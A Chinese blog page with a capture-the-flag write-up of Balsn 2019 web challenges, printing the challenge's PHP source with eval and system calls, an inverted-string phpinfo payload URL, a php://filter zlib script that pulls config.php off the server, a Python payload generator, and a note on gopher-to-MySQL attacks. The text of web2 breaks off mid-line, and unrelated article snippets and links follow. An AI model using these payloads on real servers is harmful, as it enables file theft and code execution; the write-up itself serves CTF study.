遇到3道有点意思的web,记录一下~

web1

题目地址:http://warmup.balsnctf.com/

源码如下所示:

<?php
if (($secret = base64_decode(str_rot13("CTygMlOmpz" . "Z9VaSkYzcjMJpvCt==")))
&& highlight_file(__FILE__)
&& (include("config.php"))
&& ($op = @$_GET['op'])
&& (@strlen($op) < 3 && @($op + 8) < 'A_A')) {
$_ = @$_GET['Σ>―(#°ω°#)♡→'];
if (preg_match('/[\x00-!\'0-9"`&$.,|^[{_zdxfegavpos\x7F]+/i', $_)
|| @strlen(count_chars(strtolower($_), 3)) > 13
|| @strlen($_) > 19) { exit($secret);
} else {
$ch = curl_init();
@curl_setopt(
$ch,
CURLOPT_URL,
str_repLace(
"int",
":DD",
str_repLace(
"%69%6e%74", //int
"XDDD",
str_repLace(
"%2e%2e", //..
"Q___Q",
str_repLace(
"..",
"QAQ",
str_repLace(
"%33%33%61", //33a
">__<",
str_repLace(
"%63%3a", //c:
"WTF",
str_repLace(
"633a",
":)",
str_repLace(
"433a",
":(",
str_repLace(
"\x63:",
"ggininder",
strtolower(eval("return $_;"))
)
)
)
)
)
)
)
)
)
);
@curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
@curl_setopt($ch, CURLOPT_TIMEOUT, 1);
@curl_EXEC($ch);
}
} else if (@strlen($op) < 4 && @($op + 78) < 'A__A') {
$_ = @$_GET['']; # \u2063
//http://warmup.balsnctf.com/?%E2%81%A3=index.php%20&op=-79
if ((strtolower(substr($_, -4)) === '.php')
|| (strtolower(substr($_, -4)) === 'php.')
|| (stripos($_, "\"") !== FALSE)
|| (stripos($_, "\x3e") !== FALSE)
|| (stripos($_, "\x3c") !== FALSE)
|| (stripos(strtolower($_), "amp") !== FALSE))
die($secret);
else {
if (stripos($_, "..") !== false) {
die($secret);
} else {
if (stripos($_, "\x24") !== false) {
die($secret);
} else {
print_r(substr(@file_get_contents($_), 0, 155));
}
}
}
} else {
die($secret) && system($_GET[0x9487945]);
}

首先关注代码中的敏感函数,存在curl,eval和file_get_contents,这里preg_match过滤了php数组的[方括号和{花括号,那么基本无法直接构造shell

根据第一部分的过滤,基本可以确定无法通过bypass来命令执行,当然也是如果可以命令执行,那肯定是非预期,要不这一大串curl就是无用的了

但我们可以执行phpinfo(),通过取反字符串phpinfo,payload为

%CE%A3%3E%E2%80%95(%23%C2%B0%CF%89%C2%B0%23)%E2%99%A1%E2%86%92=(~%8F%97%8F%96%91%99%90)()&op=-9

当然这种payload只适用于php7.x

此时就能回显phpinfo,通过扩展模块可以得到此时加载了mysql扩展,并且此时可以通过file_get_contents来读文件,因为存在config.php,所以我们可以直接读取config.php,因为有

print_r(substr(@file_get_contents($_), 0, 155));

这里限制了文件读取的长度,因此用php的压缩流对其进行压缩

通过php的压缩流过滤器就可以大大的缩减我们要读取的文件的长度,之后再进行解压缩即可还原

此时直接读取的config.php是经过压缩流的,因此这里直接将</code>标签后的解压缩即可,因为直接解压缩里面有非压缩的数据,导致直接写入为0

<?php
$a = file_get_contents("http://warmup.balsnctf.com/?op=-99&%E2%81%A3=php://filter/zlib.deflate/resource=config.php%20");
var_dump(strlen($a));
var_dump($a);
file_put_contents("/tmp/233",$a);
echo file_get_contents("php://filter/zlib.inflate/resource=/tmp/233");
#$content = file_get_contents("http://warmup.balsnctf.com/?op=-99&%E2%81%A3=php://filter/zlib.deflate/resource=config.php%20");
#$idx = stripos($content, "</code>") + 7;
#file_put_contents("/tmp/233", substr($content, $idx));
file_put_contents("/tmp/1234",file_get_contents("php://filter/zlib.inflate/resource=/tmp/233"));

这里从国外也看到了另一种解法:

因为目标系统是windows系统,因此采用短文件名的方式来读取config.php,即payload可以为:

#coding:utf-8
import urllib
def n(s):
r = ""
for i in s:
r += chr(~(ord(i)) & 0xFF)
r = "~{}".format(r)
return r
print urllib.quote("({})({})".format(n("readfile"), n("c<<")))

这样就可以读到源码了,也绕过了长度的限制,因为有限制:

@strlen($_) > 19) 

所以在这里只能扩展到co<<加上readfile,即(readfile)("co<<")

接下来就是gopher+mysql,可以利用gopherus生成payload,但是payload太长,因此使用getenv来bypass长度限制:

由上图可以得到getenv的利用方式,从而我们可以来打mysql了

web2:

这道题考察DNS rebinding、SSTI、命令执行

index.php

# index.php
<?php
ini_set('default_socket_timeout', 1); $waf = array("@","#","!","$","%","<", "*", "'", "&", "..", "localhost", "file", "gopher", "flag", "information_schema", "select", "from", "sleep", "user", "where", "union", ".php", "system", "access.log", "passwd", "cmdline", "exe", "fd", "meta-data"); $dst = @$_GET['

2019balsn两道web和2019巅峰极客一道web记录的更多相关文章

  1. 2019巅峰极客CTF-web1(LOL英雄联盟)

    今晚有空 以后随缘写博客了 好好沉淀 web1当天做出的队伍很少 其实不难    折腾到最后就差一步  可惜    0x01 读取文件 截图没留了 只留了代码部分. 有个页面  有上传和下载功能 起初 ...

  2. 巅峰极客CTF writeup[上]

    经验教训 1.CTF不比实战,最好不要死磕.死磕就输了.我就是死磕在缓存文件死的.真的惭愧: 2.对于flag的位置不要太局限于web目录下,如果是命令执行直接上find / -name flag*: ...

  3. 2018 巅峰极客CTF misc writeup

    flows 拿到一个pcap包,用wireshark打开,发现是USB协议,尝试在kali下使用tshark提取,提取失败,发现异常.回到wireshark分析数据.在其中一个数据包中发现了tip 把 ...

  4. 巅峰极客第二场CTF部分writeup

    word-MISC 微信回答问题+word字体里. sqli-WEB 注册个admin空格即可,长字符截断. 晚上把后续的写出来.现在睡觉

  5. 2020 巅峰极客 WP_ Re

    第一题:virus 是一个win32 的题,没给加壳. 主函数: int __cdecl main(int argc, const char **argv, const char **envp) { ...

  6. 2019年上海市大学生网络安全大赛两道misc WriteUp

    2019年全国大学生网络安全邀请赛暨第五届上海市大学生网络安全大赛 做出了两道Misc== 签到 题干 解题过程 题干提示一直注册成功,如果注册失败也许会出现flag. 下载下来是包含010edito ...

  7. 【LOJ】#3034. 「JOISC 2019 Day2」两道料理

    LOJ#3034. 「JOISC 2019 Day2」两道料理 找出最大的\(y_{i}\)使得\(sumA_{i} + sumB_{y_i} \leq S_{i}\) 和最大的\(x_{j}\)使得 ...

  8. 你所不知道的库存超限做法 服务器一般达到多少qps比较好[转] JAVA格物致知基础篇:你所不知道的返回码 深入了解EntityFramework Core 2.1延迟加载(Lazy Loading) EntityFramework 6.x和EntityFramework Core关系映射中导航属性必须是public? 藏在正则表达式里的陷阱 两道面试题,带你解析Java类加载机制

    你所不知道的库存超限做法 在互联网企业中,限购的做法,多种多样,有的别出心裁,有的因循守旧,但是种种做法皆想达到的目的,无外乎几种,商品卖的完,系统抗的住,库存不超限.虽然短短数语,却有着说不完,道不 ...

  9. 极客Web前端开发资源大荟萃#001

    每周极客都将总结本周最精彩的素材提供给大家,希望可以带给你更多地灵感和帮助!极客#GB课程库#现已上线,无论你是初级.中级.还是正在进修的高级前端工程师.这里都将帮助你得到更多更高效的学习.原文:极客 ...

随机推荐

  1. phpstorm+xdebug+mvc

    前一段时间自己琢磨出来,今天又给忘了,还去t00ls发帖.... 写到这里备忘 拿这个yxcms举例子 版本: yxcms1.2.1 源码:http://pan.baidu.com/s/1pJM1CP ...

  2. Android 音频播放速率调整实现

    最近接触到的一个项目, 有音频播放.切换播放速率和拖动进度到某处播放的需求 ,由于之前只是见过并没有尝试过切换播放速率 , 于是开始调研并最终实现,下面简单记录一下这次的调研过程. MediaPlay ...

  3. 《python解释器源码剖析》第12章--python虚拟机中的函数机制

    12.0 序 函数是任何一门编程语言都具备的基本元素,它可以将多个动作组合起来,一个函数代表了一系列的动作.当然在调用函数时,会干什么来着.对,要在运行时栈中创建栈帧,用于函数的执行. 在python ...

  4. Hosts 长期更新【已停】

    修改hosts篇 [2018.1.3] 由于google的对应的hosts更新过于频繁,再加上上次(18+1)大之后,国家政策原因,网上hosts更新基本上都停了,github的项目也陆续挂掉了. 还 ...

  5. MySQL在使用group_concat()函数数据被截取

    遇到问题: 项目中有个需求,MySQL中存储的是树状的数据.现在给出一个节点,需要从Mysql数据库中取出这个节点下所有的节点.采用MySQL的函数. 函数如下: CREATE DEFINER=`ro ...

  6. CF802C Heidi and Library (hard) 最小费用流

    你有一个容量为k的空书架,现在共有n个请求,每个请求给定一本书ai,如果你的书架里没有这本书,你就必须以ci的价格购买这本书放入书架. 当然,你可以在任何时候丢掉书架里的某本书.请求出完成这n个请求所 ...

  7. python学习之列表,元祖,字典

    python基础 列表  [ ] stats =[1,2,3,4,5] 元素1,2,3,4,5 下标,索引,角标,初始从0开始 增加 stats.append(7)#append方法添加 stats. ...

  8. matlab安装MinG-w64 C/C++编译器

    matlab 2018b之编译器的安装 安装MinGW C/C++ 编译器

  9. 今天把自己的ocr镜像开源了

    docker pull docker.io/zhangbo2008/ocr_docker_byzhang:v1 即可,欢迎下载

  10. 设置easyUI-dialog窗口居中显示

    默认情况下应该是在屏幕居中显示的.但是有的时候没有居中只要重新纠正下就可以了 $('#add_dialog').dialog('open'); //打开添加对话框 $('#add_dialog').w ...